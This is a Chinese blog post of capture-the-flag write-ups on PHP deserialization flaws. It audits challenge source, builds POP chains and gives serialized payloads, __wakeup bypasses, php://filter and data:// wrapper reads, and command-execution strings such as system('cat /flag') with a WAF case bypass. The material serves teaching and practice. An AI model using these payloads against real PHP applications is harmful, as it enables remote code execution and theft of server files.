序列化和反序列化(二)

embedded/2024/12/27 1:46:53/

        为了方便查找和记录,所以将实操和知识点分开,这篇文章就是由浅入深的介绍反序列化的相关题目

[SWPUCTF 2021 新生赛]ez_unserialize

看源码,有提示

发现Disallow(禁止抓取),使用robots.txt协议查看,发现/cl45s.php目录 

代码如下

还是简单分析一下

<?php
error_reporting(0);
show_source("cl45s.php");             // 显示文件 cl45s.php 的源代码class wllm {                          // 定义一个名为 wllm 的类   public $admin;                    // 公共属性 adminpublic $passwd;                   // 公共属性 passwdpublic function __construct() {   // 构造函数,用于初始化对象     $this->admin = "user";        // 初始化 admin 为 "user"$this->passwd = "123456";     // 初始化 passwd 为 "123456"}public function __destruct() {    // 析构函数,用于在对象不再被引用时执行清理操作// 检查 admin 是否为 "admin" 并且 passwd 是否为 "ctf"if ($this->admin === "admin" && $this->passwd === "ctf") {            include("flag.php");           echo $flag;} else {            echo $this->admin;        // 打印 admin 的值           echo $this->passwd;       // 打印 passwd 的值            echo "Just a bit more!";  // 打印字符串 "Just a bit more!"}}
}
$p = $_GET['p'];                       //GET传参p
unserialize($p);                       //反序列化p?>

         简单来讲就是要让admin=admin,passwd=ctf时得到flag,然后给了一个get传参的点,将序列化以后的内容传入。

传入可得到flag

        php反序列化是可以控制类方法的属性但不能改类方法的代码,所以这里直接更改就行。然后传参,一般这里要url编码一下,规避不可打印字符,前面一篇文章提到过private protected 属性 序列化出来会有不可打印字符,但是这里没有这两个属性,所以就没有演示。

[SWPUCTF 2021 新生赛]no_wakeup

一个简单的超链接,跳转以后有代码

简单的审计

<?php// 设置HTTP头信息,指定内容的类型和字符编码
header("Content-type:text/html;charset=utf-8");// 关闭错误报告,不显示任何错误信息
error_reporting(0);// 显示文件class.php的源代码
show_source("class.php");// 定义一个名为HaHaHa的类
class HaHaHa{// 两个公共属性:admin和passwdpublic $admin;public $passwd;// 构造函数,当创建新对象时自动调用public function __construct(){// 初始化admin为"user",passwd为"123456"$this->admin ="user";$this->passwd = "123456";}// __wakeup魔术方法,当对象被反序列化时自动调用public function __wakeup(){// 将passwd加密为sha1哈希值$this->passwd = sha1($this->passwd);}// __destruct魔术方法,当对象被销毁时自动调用public function __destruct(){// 检查admin是否等于"admin"且passwd是否等于"wllm"if($this->admin === "admin" && $this->passwd === "wllm"){// 如果条件满足,引入flag.php文件,并输出变量$flag的值include("flag.php");echo $flag;}else{// 如果条件不满足,输出经过sha1加密的passwd值和"No wake up"字符串echo $this->passwd;echo "No wake up";}}
}// 通过GET请求获取参数p的值,并将其作为反序列化的输入
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);?>

 admin=admin,passwd=wllm得到flag,序列化p

但其中多了一个__wakeup的魔术方法

__wakeup函数漏洞原理:当序列化字符串表示对象属性个数的值 大于 真实个数的属性时就会跳过__wakeup的执行

        为了触发,在正常的payload基础上改一下

修改前:O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

修改后:O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

        传参

[ZJCTF 2019]NiZhuanSiWei 

        开门见山,展示代码

        这里的代码大致的情况,大致可以分为两部分,第一部分是file_get_contents()函数存在的文件包含(也就是伪协议读取)漏洞,另外一部分是,反序列化漏洞。在代码里可以知道的是,实际上,序列化的内容,我们是无法直接看到的,所以实际上在进行反序列化操作之前,要尝试用伪协议去读取序列化的内容。

        这里先使用data伪协议来写入,再用filter伪协议读一下注释里面的文件

payload:

       ?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php

解码

        结合原页面的代码可知,这道题的passwd是反序列化的入口,而且此处用到的是__tostring()方法,其触发条件就是 当一个对象被当作str处理 时,例如在echo中被用,恰好index的源码里是echo,就可以用

        还是一样的构造payload,但是这里要注意的是这时候我们不需要去访问useless.php文件的内容了,我们构造的反序列化会把之前的覆盖掉,最终我们要的是useless.php来访问我们的flag

所以payload:

        /?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

        来到这个页面,这个时候flag文件已经被包含了,所以直接看源代码就有

[SWPUCTF 2021 新生赛]pop

        在这道题中,和之前几道题最大的不同就是,这里引入了private和protected这两个属性

        在大致审计完代码以后,再结合魔术方法,可以发现实际上,这里最关键的部分还是在w44m这个属性里面,因为这个属性是可以直接读取flag的内容的,也就是平时说的能达到恶意代码攻击的部分,所以将这个属性作为链子的尾部,然后呢传参的位置,也就是这个w00m,是链子的头部。

class w44m{private $admin = 'aaa';protected $passwd = '123456';public function Getflag(){if($this->admin === 'w44m' && $this->passwd ==='08067'){include('flag.php');echo $flag;}else{echo $this->admin;echo $this->passwd;echo 'nono';}}
}

        w44m类中两个变量的属性并不是共有属性,而是私有属性和保护属性,无法在创建对象的时候,进行赋值;因此我们就直接在类中进行赋值;接下来要考虑的是,如何去调用w44m类中的Getflag方法。这里就需要用到tostring这个方法,可以调用某一个类中的某一个方法。因此可以将w33m类中的两个变量w00m赋值为w44m类名,w22m赋值为Getflag方法;只要给w22m类中的w00m变量一个类w33m就可以实现调用

poc:

<?php
class w44m
{private $admin = "w44m";protected $passwd = "08067";
}
class w22m
{public $w00m;}class w33m
{public $w00m;public $w22m;
}
// w22m.__destruct().w00m->w33m.__toString().w00m->w44m.Getflag()
$a=new w22m();
$a->w00m=new w33m();
$a->w00m->w00m=new w44m();
$a->w00m->w22m="Getflag";
echo urlencode(serialize($a));

         在这个代码里面,链子的构造思路在这里:

 w22m.__destruct().w00m->w33m.__toString().w00m->w44m.Getflag()

        当 w22m 被销毁时,它会尝试访问 w00m,而 w00m 是一个 w33m 对象。当 w33m 对象被转换为字符串(可能通过 __toString 方法)时,会访问其自身的 w00m 属性,该属性被设置为一个 w44m 对象。最后,在 w44m 对象上调用 Getflag 方法。

        生成的链子不加密是这样的

O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{s:11:" w44m admin";s:4:"w44m";s:9:" * passwd";s:5:"08067";}s:4:"w22m";s:7:"Getflag";}}

        这里使用直接用url编码是因为在w44m的两个属性中,直接生成的链子会有不可见字符

[HUBUCTF 2022 新生赛]checkin 

        

        这里实际上看到代码懵了一下,因为这个题和之前的题的差别实际上挺明显的,这道题没有类

$data_unserialize = unserialize($info);

        根据代码的分析以后可以发现,这里反序列化以后的值实际上赋值给了$data_unserialize ,然后这里涉及了一个函数(但是没什么大用在这道题中)

isset() 函数用于检测变量是否已设置并且非 NULL。

以上是基本用途,而本题中用到的是php的三元运算符

$id = isset($_GET['id']) ? $_GET['id'] : '';

(条件) ? (值1):(值2);

解释:如果条件成立(为真),则执行冒号前边的“值1”,否则执行冒号后面的“值2”。

isset()函数是检测变量是否设置,$_GET['id']是通过get方法传过来的值。
这句话的意思就是:如果$_GET['id']已经被设置,即已经有值了,则$id=$_GET['id'];
如果$_GET['id']没有被设置,则$id = '';

        然后比较重要的代码就是这个判断语句了

if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password)

        实际上一开始看的时候还是有点迷的,因为一开始我觉得,都没有类的话,要怎么去调用属性?思考以后发现这里要反序列化的应该是数组才对,这样用键值对的方式调用数组中的值才合理。

构造看看:

<?php
$info =array("username"=>"this_is_secret","password"=>"this_is_not_known_to_you");
$zerotwo=serialize($info);
echo($zerotwo);

还是错的

        在仔细看可发现第五行的代码中,注释已经说了两个的值已经被改变了,所以说实际上我们并不知道这来个变量中具体的值是多少,而这里的重点应该放在,if条件判断语句里面,重点应该是要在这个弱比较“==”,来张图

        由表可知,true和非空、非零字符串弱比较(==)都是为true ,再次构建

<?php
$info =array("username"=>true,"password"=>true);
$zerotwo=serialize($info);
echo($zerotwo);

[SWPUCTF 2022 新生赛]1z_unserialize

        在题目中没有看到flag.php文件说明被隐藏起来了。 这两个实际上很像函数+指令,system("cat /flag");

 $a = $this->lt;                                             $a($this->lly); //lt(lly)

        因为实际上

  • $this->lt 需要是一个可调用的值(如闭包、函数名或类方法名),否则会导致运行时错误。可以设置 $lt 为任意可调用的PHP代码(如闭包或方法名),并通过 $lly 传递参数,从而执行任意代码。( $lt 被设置为一个恶意闭包的情况下)
<?phpclass lyh{public $url = 'NSSCTF.com';public $lt;public $lly;}$a=new lyh();
$a->lt='system';
$a->lly='cat /f*';
echo serialize($a);?>

         试试

        直接就构造出来了

[SWPUCTF 2022 新生赛]ez_ez_unserialize

        实际上,这道题的结构之前那到是有相似之处的,这里也已经告诉了我们flag文件在在哪,但是__wakeup()这个魔术方法固定死了我们的高亮文件。创造类x,定义了一个魔术常量x为_FILE_(当前文件名),又定义了几个函数,construct函数让x类中的x赋值,wakeup让x重新赋值为_FULE_,destruct函数高亮x常量,如果传参x存在反序列化,否则输出

        抓包看看版本,这里实际上是可以确定,可以进行绕过的。由于要绕过wakeup函数,只要序列化的中的成员数大于实际成员数,即可绕过

<?php
class X
{public $x ;function __construct($x){$this->x = $x;}function __wakeup(){if ($this->x !== __FILE__) {$this->x = __FILE__;}}function __destruct(){highlight_file($this->x);}
}
echo serialize(new X("fllllllag.php"));

         修改序列化中的成员数即可

24isctf的ezserialize

代码如下

<?php
error_reporting(0);class Flag {private $flag;public function __construct() {$this->flag = file_get_contents('/flag');}public function getFlag() {return $this->flag;}public function __toString() {return "You can't directly access the flag!";}
}class User {public $username;public $isAdmin = false;public function __construct($username) {$this->username = $username;}public function __wakeup() {if ($this->isAdmin) {echo "Welcome, admin! Here's your flag: " . (new Flag())->getFlag();} else {echo "Hello, " . htmlspecialchars($this->username) . "!";}}
}if (isset($_GET['data'])) {$data = $_GET['data'];$object = unserialize($data);if ($object instanceof User) {echo $object;} else {echo "Invalid object!";}
} else {highlight_file(__FILE__);
}
?> 

        源码还是有一点多的,但是逻辑很简单

  1. Flag 类:
    • 属性:
      • private $flag: 私有属性,用于存储从文件 /flag 中读取的内容。
    • 方法:
      • __construct(): 构造函数,初始化 $flag 属性为文件 /flag 的内容。
      • getFlag(): 返回 $flag 的值。
      • __toString(): 魔术方法,当对象被转换为字符串时调用,返回一个提示信息。
  2. User 类:

    • 属性:
      • public $username: 用户名。
      • public $isAdmin = false: 标记用户是否为管理员,默认值为 false
    • 方法:
      • __construct($username): 构造函数,初始化 $username
      • __wakeup(): 魔术方法,在对象反序列化后调用。如果用户是管理员,则输出标志内容;否则,输出“Hello”信息。

        稍微修改一下,然后进行赋值

<?php
class Flag {private $flag;
}class User {public $username ="username";public $isAdmin = true;
}
$a=new Flag();
$b = new User('username ', $flag);
//依赖注入
// 将 Flag 对象传递给 User 对象
// b 对象的 __wakeup() 方法都能够访问 a 对象的 $flag 属性,因为 a 对象的 getFlag() 方法被调用来获取标志值
echo serialize($b);
?>

24isctf的天命人

        源码如下


<?php
error_reporting(0);# 帮天命人搜集法宝,重获齐天之姿!
class Wuzhishan{public $wu="俺老孙定要踏破这五指山!<br>";public $zhi;public $shan;function __get($j){echo "此地阴阳二气略显虚浮,加上刚刚带入的阳气,或可借此遁逃!<br>";$yin="s214587387a";$yang=$_GET['J'];if (md5($yin)==$yang&&md5($yin)==md5($yang)){echo "哦?又一个不信天命之人?行了,拿了东西速速离开吧<br>";system('cat /flag');}}
}
class Huoyanjinjing{public $huoyan;public $jinjing;function __get($huo){$this->huoyan="火眼能洞察一切邪祟!<br>";echo $this->huoyan->jinjing;}function __invoke(){$this->jinjing="金睛能看破世间迷惘!<br>";echo $this->huoyan->jinjing;}
}
class Dinghaishenzhen{public $Jindou="一个筋斗能翻十万八千里!<br>";public $yun;function __toString(){$f=$this->yun;$f();return "你真的逃出去了吗?天命人?<br>";}
}
class Jingdouyun{public $Qishier=72;public $bian="看俺老孙七十二变!<br>";function __sleep(){echo "三更敲门,菩提老祖送我筋斗云...<br>";echo new Jindouyun();}
}
class Tianmingren {public $tianming;public $ren;function __destruct(){echo "迷途中的羔羊,你相信天命吗?<br>";echo $this->tianming;}
}
$data = unserialize($_POST['Wukong']);
throw new Exception('开局一根棍,装备全靠打。');
?> 

        还是简单的分析一下代码,这里的链头就是一开始的md5的二次加密的一个弱比较,__get()   //调用不可访问、不存在的对象成员属性时触发

class Wuzhishan{public $wu="俺老孙定要踏破这五指山!<br>";public $zhi;public $shan;function __get($j){echo "此地阴阳二气略显虚浮,加上刚刚带入的阳气,或可借此遁逃!<br>";$yin="s214587387a";$yang=$_GET['J'];if (md5($yin)==$yang&&md5($yin)==md5($yang)){echo "哦?又一个不信天命之人?行了,拿了东西速速离开吧<br>";system('cat /flag');}}
}

      

          __invoke()  //把对象当成函数调用时触发,这里调用参数yun,传入Huoyanjinjing类

然后就

__toString()  //把对象当成字符串输出触发  echo $this->tianming;

最后的这个

        大致捋清楚以后,就可以开始构造pop链了

<?php
class Wuzhishan{public $wu="俺老孙定要踏破这五指山!<br>";public $zhi;public $shan;
}
class Huoyanjinjing{public $huoyan;public $jinjing;
}
class Dinghaishenzhen{public $Jindou="一个筋斗能翻十万八千里!<br>";public $yun;
}
class Tianmingren {public $tianming;public $ren;
}
class Jingdouyun{public $Qishier=72;public $bian="看俺老孙七十二变!<br>";
}$a=new Wuzhishan();
$b=new Huoyanjinjing();
$b->huoyan=$a;
$c=new Dinghaishenzhen();
$c->yun=$b;
$d=new Tianmingren();
$d->tianming=$c;
echo serialize($d);
?>

 [NISACTF 2022]babyserialize

源码如下:

 <?php
include "waf.php";
class NISA{public $fun="show_me_flag";public $txw4ever;public function __wakeup(){if($this->fun=="show_me_flag"){hint();}}function __call($from,$val){$this->fun=$val[0];}public function __toString(){echo $this->fun;return " ";}public function __invoke(){checkcheck($this->txw4ever);@eval($this->txw4ever);}
}class TianXiWei{public $ext;public $x;public function __wakeup(){$this->ext->nisa($this->x);}
}class Ilovetxw{public $huang;public $su;public function __call($fun1,$arg){$this->huang->fun=$arg[0];}public function __toString(){$bb = $this->su;return $bb();}
}class four{public $a="TXW4EVER";private $fun='abc';public function __set($name, $value){$this->$name=$value;if ($this->fun = "sixsixsix"){strtolower($this->a);}}
}if(isset($_GET['ser'])){@unserialize($_GET['ser']);
}else{highlight_file(__FILE__);
}//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}//function hint(){
//    echo ".......";
//    die();
//}
?>

        简单的捋一下还是,四个类,然后根据这四个类去构造链子,然后忽然发现,那个魔术常量好像一直没有细写过,所以还是在这里再介绍一下(因为可能我觉得可写可不写)

        在这里

__FILE__ 是一个魔术常量,它返回当前文件的完整路径和文件名。当在一个脚本中使用 __FILE__ 时,它将被替换为当前文件的实际路径,在上述代码中,highlight_file(__FILE__) 表示对当前文件进行语法高亮显示。这样可以让我们在浏览器中查看和分析当前文件的代码。

        因为这道题和isctf的两道题还是有不一样的点,这里还是选择着重介绍一下链尾的特征,就是下面这串代码

public function __invoke()
{checkcheck($this->txw4ever);@eval($this->txw4ever);
}

__invoke是一个魔术方法(当脚本尝试将对象调用为函数时触发)
eval()作为内置函数,把字符串作为PHP代码执行

        eval就可以满足链尾特征,执行命令,试想,我们如果能传入例如“system('ls')”的命令,就可以执行攻击操作了。

        确定了头尾,这里的思路是通过链尾的执行函数,去反推相关的链接,还是承接上面的,详细写一下

        最后执行的是txw4ever,所以相当于最后要将命令执行内容传入$this->txw4ever里,传入的过程中需要触发__invoke()函数(将对象调用为函数时触发),如果要改为变量的形式,那么将对象赋给变量,就将对象变为了函数,再往下看的过程中可以发现

        需要把$bb()赋为对象,同时,su就是传入它的参数。su的内容,需要传入一个对象,再往上看,可以发现,如果要传入以个对象的话,要执行__toString()这个魔术方法。

__ToString⽅法是当对象被当做字符串的时候会自动调用

继续在所有类里面找,找到strtolower函数,该函数是将字符串转换成小写

         对应参数 a ,需要通过if判断,fun为sixsixsix,我们将$fun中的abc改为sixsixsix即可,为了执行上面提到的操作,要触发__set()

 

        找到fun,$this->huang,Ilovetxw调用huang这个属性,这个属性的值再调用fun,调用只有类和对象能做,所以根据上面要触发__set(),huang的赋值应为four这个类的对象,new four->fun,即four调用fun(因为fun是私有变量,最好直接在类里面修改)

        回到源码,

__set是对不存在或者不可访问的变量进行赋值就会自动调用

于是我们找到huang,我们可以看到在Ilovetxw类里面并不存在fun这个参数

        依次往上追到__call函数,__call是对不存在的方法或者不可访问的方法进行调用就自动调用

        再往上看

        找到nisa,该类中并不存在这个方法,再往上就找到wakeup函数, 即我们的链头了,该函数在使用unserilize之前就会触发。

        大致分析完了以后,开始构造pop链子


$zerotwo  =new NISA();
$zerotwo->txw4ever = "system('ls');";$Darling = new Ilovetxw();
$Darling->su = $zerotwo;$Franxx =new four();
$Franxx->a = $Darling;$Darling = new Ilovetxw();
$Darling->huang = $Franxx;$zzc=new TianXiWei();
$zzc -> ext=$Darling;echo urlencode(serialize($zzc));

        这里用url编码是因为这里的私有属性,验证payload

        实际上这里我们并没有对__wakeup函数进行绕过,所以说,这个函数还是被触发了,因为等到反序列化到NISA()的__wakeup时自然会触发

        然后这时$fun的值为show_me_flag,满足__wakeup()中if,直接调用hint()方法,我们根据源码最后的注释内容可以看到,hint()方法echo了一些东西,echo的就是flag is in /。那这里很简单了,修改一下fun的值

<?phpclass NISA{public $fun="a";public $txw4ever; // 1 shellpublic function __wakeup(){if($this->fun=="show_me_flag"){hint();}}function __call($from,$val){$this->fun=$val[0];}public function __toString(){echo $this->fun;return " ";}public function __invoke(){checkcheck($this->txw4ever);@eval($this->txw4ever);}
}class TianXiWei{public $ext; //5 Ilovetxwpublic $x;public function __wakeup(){$this->ext->nisa($this->x);}
}class Ilovetxw{public $huang; //4 fourpublic $su; //2 NISApublic function __call($fun1,$arg){$this->huang->fun=$arg[0];}public function __toString(){$bb = $this->su;return $bb();}
}class four{public $a="TXW4EVER"; //3 Ilovetxwprivate $fun='sixsixsix'; //fun = "sixsixsixpublic function __set($name, $value){$this->$name=$value;if ($this->fun = "sixsixsix"){strtolower($this->a);}}
}$zerotwo  =new NISA();
$zerotwo->txw4ever = "system('ls');";$Darling = new Ilovetxw();
$Darling->su = $zerotwo;$Franxx =new four();
$Franxx->a = $Darling;$Darling = new Ilovetxw();
$Darling->huang = $Franxx;$zzc=new TianXiWei();
$zzc -> ext=$Darling;echo urlencode(serialize($zzc));

        发现回显是something wrong

        再来结合之前在源码中过滤的

        说明可能过滤了什么,先试试大写绕过,不行就换函数passthru()

        大写绕过是可行的,但是当前目录没什么好看的,而且通过之前的提示我们也知道flag在根目录了

        直接读

        这里也可以用通配符“*”,直接读

[NISACTF 2022]popchains 

        这道题的代码没什么新的

新年快乐~许个愿
<?phpecho 'Happy New Year~ MAKE A WISH<br>';if(isset($_GET['wish'])){@unserialize($_GET['wish']);
}
else{$a=new Road_is_Long;highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/class Road_is_Long{public $page;public $string;public function __construct($file='index.php'){$this->page = $file;}public function __toString(){return $this->string->page;}public function __wakeup(){if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {echo "You can Not Enter 2022";$this->page = "index.php";}}
}class Try_Work_Hard{protected  $var;public function append($value){include($value);}public function __invoke(){$this->append($this->var);}
}class Make_a_Change{public $effort;public function __construct(){$this->effort = array();}public function __get($key){$function = $this->effort;return $function();}
}
/**********************Try to See flag.php*****************************/

        先找找,在哪里可以直接找到执行代码并进行注入的点,即链尾

        这里的include,应该是可以用伪协议打洞,直接读flag文件的内容,要将它作为链尾,则要触发 append($value) -->>__invoke(),看到$function()。(__invoke():对象以函数形式被调用时触发 

        

        要触发 __get($key)(__get():对不存在、不可访问的变量进行赋值就会自动调用),再往下分析

 public function __toString(){return $this->string->page;}

        触发了get属性,然后看看string属性被谁触发

        使 $this->string 为 Make_a_Change 的一个对象,则这个对象的类里面没有page这个变量,则会触发__get()。 (__toString():对象被当成字符串时被调用

        这里实际上也说明了$value 的值

按上面的思路构造,然后用filter伪协议读一下flag.php 文件的内容

<?php
class Road_is_Long{public $page;//4 Road_is_Longpublic $string;//3 Make_a_Changepublic function __construct($file='index.php'){$this->page = $file;}public function __toString(){return $this->string->page;}public function __wakeup(){if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {echo "You can Not Enter 2022";$this->page = "index.php";}}
}class Try_Work_Hard{protected  $var="php://filter/convert.base64-encode/resource=/flag";//1 shellpublic function append($value){include($value);}public function __invoke(){$this->append($this->var);}
}class Make_a_Change{public $effort;//2 Try_Work_Hardpublic function __construct(){$this->effort = array();}public function __get($key){$function = $this->effort;return $function();}
}$zerotwo=new Try_Work_Hard();$Darling=new Make_a_Change();
$Darling->effort=$zerotwo;$Franxx=new Road_is_Long();
$Franxx->string=$Darling;$zzc=new Road_is_Long();
$zzc->page=$Franxx;
echo urlencode(serialize($zzc));
?>

        成功读取


http://www.ppmy.cn/embedded/148549.html

相关文章

关于图片的alpha通道、透明度

三原色光模式又称RGB颜色模型&#xff0c;是一种加色模型&#xff0c;将RGB三原色的色光以不同的比例相加&#xff0c;以产生多种多样的色光。而计算机中更为常见的还有RGBA颜色模型。A 一般称为alpha通道&#xff0c;一些人也称为透明度、不透明度等。 在电脑中&#xff0c;假…

GIS 文件格式 及 常规应用总结

文章目录 GIS 中常见的文件格式 以及 再次打开注意事项资源网站应用地图瓦片数据地形数据倾斜模型 QGS 应用矢量数据格式栅格数据格式数据库格式更改图层样式更改图层范围导出为不同分辨率图片导出矢量文件直接保存图层通过打印布局导出使用插件导出 tiff 图片前端处理方式 GIS…

springboot启动不了 因一个spring-boot-starter-web底下的tomcat-embed-core依赖丢失

这个包丢失了 启动不了 起因是pom中加入了 <tomcat.version></tomcat.version>版本指定&#xff0c;然后idea自动编译后&#xff0c;包丢了&#xff0c;删除这个配置后再也找不回来&#xff0c; 这个包正常在 <dependency><groupId>org.springframe…

【docker】pull 镜像异常

报错信息&#xff1a; docker pull centos Using default tag: latest Error response from daemon: Get "https://registry-1.docker.io/v2/": net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers) 问题&am…

5、栈应用-表达式求值

本章内容使用上述栈结构函数&#xff0c;来完成表达式求值操作。 表达式例如&#xff1a;3*(7-2) 或者 (0-12)*((5-3)*32)/(22) 。 1、实现思路 a、建立OPTR&#xff08;运算符&#xff09;和OPND&#xff08;数字&#xff09;两个栈&#xff0c;后输入字符串以结束 b、自左向…

Codesoft许可证迁移到新计算机的操作步骤

随着科技的不断发展&#xff0c;我们时常需要升级或更换计算机设备以适应更高的工作要求。然而&#xff0c;在迁移至新计算机时&#xff0c;如何确保Codesoft软件的许可证能够顺利转移并继续在新设备上使用&#xff0c;成为许多用户关心的问题。本文将为您详细介绍Codesoft许可…

Redis 初相识:开启缓存世界大门

Redis 概述 什么是 Redis Redis 是一个开源&#xff08;BSD 许可&#xff09;的&#xff0c;内存中的数据结构存储系统&#xff0c;它可以充当数据库、缓存以及消息中间件等多种角色。从数据存储角度来看&#xff0c;它基于内存&#xff0c;通过键值对的方式来存储各种类型的…

GA-BP回归-遗传算法(Genetic Algorithm)和反向传播神经网络(Backpropagation Neural Network)

GA-BP回归详细介绍 源码 什么是GA-BP回归&#xff1f; GA-BP回归&#xff08;遗传算法-反向传播回归&#xff0c;Genetic Algorithm-Backpropagation Regression&#xff09;是一种结合了**遗传算法&#xff08;Genetic Algorithm, GA&#xff09;和反向传播神经网络&#x…